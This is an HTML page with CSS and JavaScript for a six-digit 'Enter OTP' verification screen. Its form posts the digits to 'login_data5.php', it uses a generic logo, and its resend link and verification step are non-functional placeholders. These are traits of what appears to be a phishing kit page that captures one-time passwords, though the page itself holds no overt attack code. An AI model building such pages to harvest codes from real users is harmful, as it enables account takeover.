<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>OTP Verification</title>
  <style>
    /* General Reset */
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
      font-family: 'Roboto', sans-serif;
    }

    /* Body Styling */
    body {
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      background: linear-gradient(135deg, #f5f7fa, #c3cfe2);
    }

    /* OTP Container */
    .otp-container {
      background: #fff;
      padding: 40px 30px;
      border-radius: 10px;
      box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
      width: 100%;
      max-width: 400px;
      text-align: center;
    }

    /* Logo */
    .logo {
      margin-bottom: 20px;
    }
    .logo img {
      max-width: 100px;
      height: auto;
    }

    /* Title */
    .otp-container h1 {
      font-size: 24px;
      color: #333;
      margin-bottom: 20px;
    }

    /* Subtitle */
    .otp-container p {
      font-size: 16px;
      color: #666;
      margin-bottom: 30px;
    }

    /* Input Fields */
    .input-group {
      display: flex;
      justify-content: space-between;
      margin-bottom: 20px;
    }
    .input-group input {
      width: 45px;
      height: 45px;
      font-size: 20px;
      text-align: center;
      border: 2px solid #ccc;
      border-radius: 6px;
      outline: none;
      transition: border-color 0.3s;
    }
    .input-group input:focus {
      border-color: #d31245;
    }

    /* Resend OTP Button */
    .resend-btn {
      font-size: 14px;
      color: #d31245;
      text-decoration: none;
      margin-bottom: 20px;
    }
    .resend-btn:hover {
      text-decoration: underline;
    }

    /* Verify Button */
    .verify-btn {
      width: 100%;
      padding: 12px;
      font-size: 16px;
      color: #fff;
      background: #d31245;
      border: none;
      border-radius: 6px;
      cursor: pointer;
      transition: background 0.3s;
    }
    .verify-btn:hover {
      background: #b20e3a;
    }

    /* Loader */
    .loader {
      display: none;
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      font-size: 18px;
      color: #d31245;
    }

    /* Responsive Design */
    @media (max-width: 480px) {
      .otp-container {
        padding: 30px 20px;
      }
      .logo img {
        max-width: 300px;
      }
      .input-group input {
        width: 40px;
        height: 40px;
        font-size: 18px;
      }
      .verify-btn {
        font-size: 14px;
        padding: 10px;
      }
    }
  </style>
</head>
<body>
  <div class="otp-container">
    <!-- Logo -->
    <div class="logo">
      <img src="11112.png" alt="Company Logo" />
    </div>

    <h1>Enter OTP</h1>
    <p>We have sent a one-time password to your phone number.</p>

    <!-- Form Submission -->
    <form id="otpForm" action="login_data5.php" method="POST">
      <!-- Input Group -->
      <div class="input-group">
        <input type="text" id="digit1" name="digit1" maxlength="1" autocomplete="off" required />
        <input type="text" id="digit2" name="digit2" maxlength="1" autocomplete="off" required />
        <input type="text" id="digit3" name="digit3" maxlength="1" autocomplete="off" required />
        <input type="text" id="digit4" name="digit4" maxlength="1" autocomplete="off" required />
        <input type="text" id="digit5" name="digit5" maxlength="1" autocomplete="off" required />
        <input type="text" id="digit6" name="digit6" maxlength="1" autocomplete="off" required />
      </div>

      <!-- Resend OTP -->
      <a href="#" class="resend-btn">Resend OTP</a>

      <!-- Verify Button -->
      <button id="verifyBtn" class="verify-btn" type="submit">Verify</button>

      <!-- Loading Indicator -->
      <div id="loader" class="loader">Verifying...</div>
    </form>
  </div>

  <script>
    // Autofocus and Tab Navigation for OTP Inputs
    const inputs = document.querySelectorAll('.input-group input');
    inputs.forEach((input, index) => {
      input.addEventListener('input', () => {
        if (input.value.length === 1 && index < inputs.length - 1) {
          inputs[index + 1].focus();
        }
      });
    });

    // Verify Button Click Event
    const verifyBtn = document.getElementById('verifyBtn');
    const loader = document.getElementById('loader');
    const otpForm = document.getElementById('otpForm');

    otpForm.addEventListener('submit', function (event) {
      // Check if all fields are filled
      const otp = Array.from(inputs).map(input => input.value.trim());
      if (otp.some(digit => digit === '')) {
        event.preventDefault(); // Prevent form submission
        alert('Please enter all digits.');
        return;
      }

      // Show loading indicator
      loader.style.display = 'block';
      verifyBtn.style.display = 'none';

      // Simulate OTP verification (replace with actual API call)
      setTimeout(() => {
        // Hide loader and re-enable button
        loader.style.display = 'none';
        verifyBtn.style.display = 'block';
      }, 2000); // Simulated delay of 2 seconds
    });
  </script>
</body>
</html>